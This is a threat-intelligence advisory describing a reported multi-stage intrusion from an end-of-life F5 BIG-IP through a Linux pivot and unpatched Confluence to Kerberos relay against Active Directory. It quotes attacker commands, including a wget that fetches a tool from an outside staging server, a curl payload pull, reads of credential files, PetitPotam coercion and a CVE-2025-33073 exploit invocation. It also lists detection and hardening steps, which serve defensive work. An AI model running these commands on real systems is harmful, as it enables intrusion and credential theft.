# Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and Unpatched Confluence — SSH Foothold to NTLM Relay (CVE-2025-33073, CVE-2025-53521)

> Microsoft Threat Intelligence documented a hands-on-keyboard intrusion campaign (May 2026) in which a threat actor pivoted from a compromised internet-facing F5 BIG-IP VE 15.1.201000 (EOL Dec 31, 2024) through SSH into an internal Linux host, then exploited an unpatched Atlassian Confluence server for RCE, harvested service-account credentials from server.xml/confluence.cfg.xml, and conducted PetitPotam-coerced Kerberos/NTLM relay attacks against Active Directory using CVE-2025-33073. The chain demonstrates a complete edge-to-domain compromise crossing edge appliance, Linux, Java web application, and identity tiers.

- **Published:** 2026-05-26T00:00:00Z
- **Last reviewed:** 2026-05-26T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0596
- **ID:** TL-2026-0596
- **Severity:** HIGH (CVSS 9.8)
- **Category:** THREAT_INTEL
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 31 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2025-33073, CVE-2025-53521

## Description

## Overview

In May 2026, Microsoft Defender Security Research published the analysis of a multi-stage, hands-on-keyboard intrusion against an enterprise running an end-of-life (EOL) F5 BIG-IP Virtual Edition (VE) 15.1.201000 appliance and an unpatched Atlassian Confluence server. The campaign is notable for being identity-centric and multi-domain: it crosses an edge appliance (F5), a Linux pivot host, a Java web application (Confluence), and the Microsoft identity plane (Active Directory / Kerberos / NTLM) in a single linear kill chain.

This is not a single-CVE event — it is a chained operation that fuses N-day appliance exploitation (CVE-2025-53521 — F5 BIG-IP APM RCE, CISA KEV with a 30 March 2026 due date), unpatched on-premises web application RCE (Atlassian Confluence), and a Kerberos relay primitive (CVE-2025-33073 — Windows SMB Improper Access Control, CISA KEV added 20 October 2025) coerced via PetitPotam. The operator demonstrated mature tradecraft: living off the land where possible, staging custom Linux tooling only when off-the-shelf NTLM utilities failed, and using the compromised Linux pivot as an internal FTP staging point to bypass egress controls.

## Entry Vector: Compromised F5 BIG-IP VE 15.1.201000

The initial access path is a compromised Azure-hosted F5 BIG-IP VE running 15.1.201000, which reached end-of-software-support on 31 December 2024 and is in the affected range of CVE-2025-53521 (F5 BIG-IP APM RCE, CVSS 9.8, CWE-121 stack-based buffer overflow in the access policy module). Microsoft observed the threat actor establishing SSH from the F5 device to an internal Linux host using a privileged account — no explicit persistence mechanism was installed on the appliance because the EOL appliance itself is the persistence.

## Linux Pivot: Reconnaissance and Tooling

From the internal Linux host, the operator performed extensive hands-on reconnaissance:

- Horizontal and vertical Nmap scans, including an automated wrapper shell script (SHA-256 b4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216).
- gowitness (SHA-256 57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517) to screenshot HTTP/HTTPS services and triage web-facing assets.
- testssl.sh against discovered TLS endpoints to map weak ciphers and downgrade paths.
- Kerbrute (SHA-256 710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122a, detected as HackTool:Linux/Kerbrute!rfn), enum4linux, smbclient, rpcclient, ldapsearch, netexec (nxc), responder, timeroast, and a Python NTLM-relay script (SHA-256 bdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455) to probe SMB/LDAP/Kerberos.

When off-the-shelf NTLM lateral movement attempts failed, the actor retrieved a custom Linux scanning tool from `wget http://206.189.27[.]39:8888/5` (a DigitalOcean-hosted staging server). The dropped binary is detected by Microsoft Defender as HackTool:Linux/MalPack.B (SHA-256 4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465). The operator stored payloads in `/dev/shm/ag` and `/tmp/`, repeatedly running `chmod 777` to make staged binaries world-writable/executable.

## Confluence RCE and Credential Theft

During reconnaissance the actor identified an internal, unpatched Confluence server. After achieving RCE, two notable behaviors were observed:

1. **Internal FTP staging.** When direct egress was blocked from the Confluence host, the actor used the previously compromised Linux pivot as an anonymous FTP server and pulled the payload over an internal hop: `curl -o /dev/shm/ag ftp://anonymous:anonymous@<INTERNAL_IP>/5`. This is a noteworthy evasion: it converts an external-tools-blocked environment into an internal-only file transfer that traverses controls less aggressively.

2. **Credential file enumeration.** The RCE web shell (the `java` process spawned from `/opt/atlassian/confluence/bin/bootstrap.jar`) executed `cat` against Confluence configuration files containing plaintext credentials:
   - `/opt/atlassian/confluence/conf/server.xml`
   - `/var/atlassian/application-data/confluence/confluence.cfg.xml`
   - `setenv.sh`

From these files the actor extracted credentials for the `Jiraservices` domain service account — a high-value privileged account that would normally be unreachable from the Linux pivot.

## Identity Plane Attack: PetitPotam + CVE-2025-33073 Kerberos Relay

With valid AD credentials and a Linux relay vantage point, the actor moved to the identity tier. Two tools were observed:

- **netexec (nxc) PetitPotam coercion:** `nxc smb <TARGET_IP> -d <DOMAIN>.com -u Jiraservices -p <PASSWORD> -M coerce_plus -o M=PetitPotam` — coerces an authenticated SMB session from a target server (typically a Domain Controller via MS-EFSRPC) toward an attacker-controlled relay.

- **CVE-2025-33073 weaponized script:** `python3 CVE-2025-33073.py -u <DOMAIN>\Jiraservices -p <PASSWORD> --attacker-ip <IP> --dns-ip <IP> --dc-fqdn <DC_HOST>.<DOMAIN>.com` — a public Python exploit chaining DNS record manipulation (via dnstool.py) with the SMB Kerberos relay primitive to relay an authenticated Kerberos AP-REQ back to the originating host ("reflection") for SYSTEM-equivalent access.

CVE-2025-33073 (CVSS 8.8, CWE-284 Improper Access Control, patched 10 June 2025, KEV 20 October 2025, KEV due date 10 November 2025) is the Kerberos reflection / NTLM-to-Kerberos relay weakness in Windows SMB that allows an authenticated attacker to elevate to SYSTEM on a target if SMB signing is not enforced and Extended Protection for Authentication (EPA) / LDAP channel binding are not configured. When combined with PetitPotam coercion the result is unauthenticated coercion plus authenticated relay against a domain controller.

## Why Defenders Should Care

This campaign is a defender's worst case for several converging reasons:

- The initial appliance is **unmanaged by EDR**, EOL, and likely not in normal patch tooling.
- The pivot is **Linux**, where many enterprises still under-instrument compared to Windows.
- Confluence is treated as **"internal"** and therefore not patched with internet-facing urgency, despite holding credentials in plaintext on disk.
- The identity attack uses a **known, patched** Kerberos relay primitive whose mitigations (SMB signing, EPA, LDAP signing/channel binding) are operationally painful and frequently incomplete.
- The egress-evasion technique (internal FTP relay) defeats simplistic "block curl/wget to internet" controls.

## Affected Products

- F5 BIG-IP Virtual Edition (VE) 15.1.201000 — EOL 31 Dec 2024 (no fix; replace).
- F5 BIG-IP APM 15.1.0–15.1.10.7, 16.1.0–16.1.6.0, 17.1.0–17.1.2, 17.5.0–17.5.1 — CVE-2025-53521.
- Microsoft Windows 10/11 and Windows Server 2008–2025 — CVE-2025-33073 (patched 10 Jun 2025).
- Atlassian Confluence Data Center / Server — unpatched instances vulnerable to RCE chains.

## Detection and Response Priorities

1. Hunt for SSH `LogonSuccess` events on Linux servers where the `RemoteIP` resolves to a `DeviceInfo` record with `Vendor == 'F5'` and `OSVersion == '15.1.201000'` (Microsoft published the exact KQL).
2. Alert on `java` (Confluence bootstrap.jar) parent process executing `cat server.xml | confluence.cfg.xml | setenv.sh`.
3. Alert on `java` (Confluence bootstrap.jar) parent executing `chmod 777 /dev/shm`, `chmod 777 /tmp`, `base64 -d > /dev/shm`, or `curl -o /dev/shm/` / `curl -o /tmp/`.
4. Block outbound network to 206.189.27[.]39 and alert on prior connections.
5. Enforce SMB signing, LDAP signing + channel binding, and Extended Protection for Authentication across all servers; audit Domain Controllers for unsigned SMB.
6. Retire the EOL F5 BIG-IP VE 15.1.201000; if retirement is delayed, restrict management-plane source IP ranges to a bastion network only.
7. Patch Confluence on-premises and rotate every credential stored in `server.xml`, `confluence.cfg.xml`, and `setenv.sh` — the disclosure window for these credentials runs from the day of initial compromise, not the day of detection.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1078.002 Valid Accounts: Domain Accounts
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1059.006 Command and Scripting Interpreter: Python
- T1203 Exploitation for Client Execution
- T1505.003 Server Software Component: Web Shell
- T1068 Exploitation for Privilege Escalation
- T1222.002 Linux and Mac Permissions
- T1140 Deobfuscate/Decode Files or Information
- T1187 Forced Authentication
- T1557.001 Name Resolution Poisoning and SMB Relay
- T1555 Credentials from Password Stores
- T1552.001 Unsecured Credentials: Credentials in Files
- T1110.003 Brute Force: Password Spraying
- T1558 Steal or Forge Kerberos Tickets
- T1083 File and Directory Discovery
- T1046 Network Service Discovery
- T1087.002 Account Discovery: Domain Account
- T1018 Remote System Discovery
- T1482 Domain Trust Discovery
- T1021.004 Remote Services: SSH
- T1021.002 Remote Services: SMB/Windows Admin Shares
- T1210 Exploitation of Remote Services
- T1005 Data from Local System
- T1602 Data from Configuration Repository
- T1071.002 Application Layer Protocol: File Transfer Protocols
- T1071.001 Application Layer Protocol: Web Protocols
- T1105 Ingress Tool Transfer
- T1095 Non-Application Layer Protocol
- T1090.001 Proxy: Internal Proxy

## Sources

- [From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence](https://www.microsoft.com/en-us/security/blog/2026/05/22/from-edge-appliance-to-enterprise-compromise-multi-stage-linux-intrusion-via-f5-and-confluence/)
- [F5 K000156741 — BIG-IP APM Vulnerability CVE-2025-53521](https://my.f5.com/manage/s/article/K000156741)
- [CISA Adds CVE-2025-53521 to KEV After Active F5 BIG-IP APM Exploitation](https://thehackernews.com/2026/03/cisa-adds-cve-2025-53521-to-kev-after.html)
- [NVD — CVE-2025-33073 (Windows SMB Improper Access Control)](https://nvd.nist.gov/vuln/detail/CVE-2025-33073)
- [NVD — CVE-2025-53521 (F5 BIG-IP APM Stack-based Buffer Overflow)](https://nvd.nist.gov/vuln/detail/CVE-2025-53521)
- [CISA KEV Catalog — Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [PetitPotam — MS-EFSRPC Coercion Technique](https://github.com/topotam/PetitPotam)
- [Kerbrute — Active Directory Kerberos Brute-Force Tool](https://github.com/ropnop/kerbrute)
- [NetExec (nxc) — Network Service Exploitation Framework](https://github.com/Pennyw0rth/NetExec)
- [gowitness — Web Screenshot Utility](https://github.com/sensepost/gowitness)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0596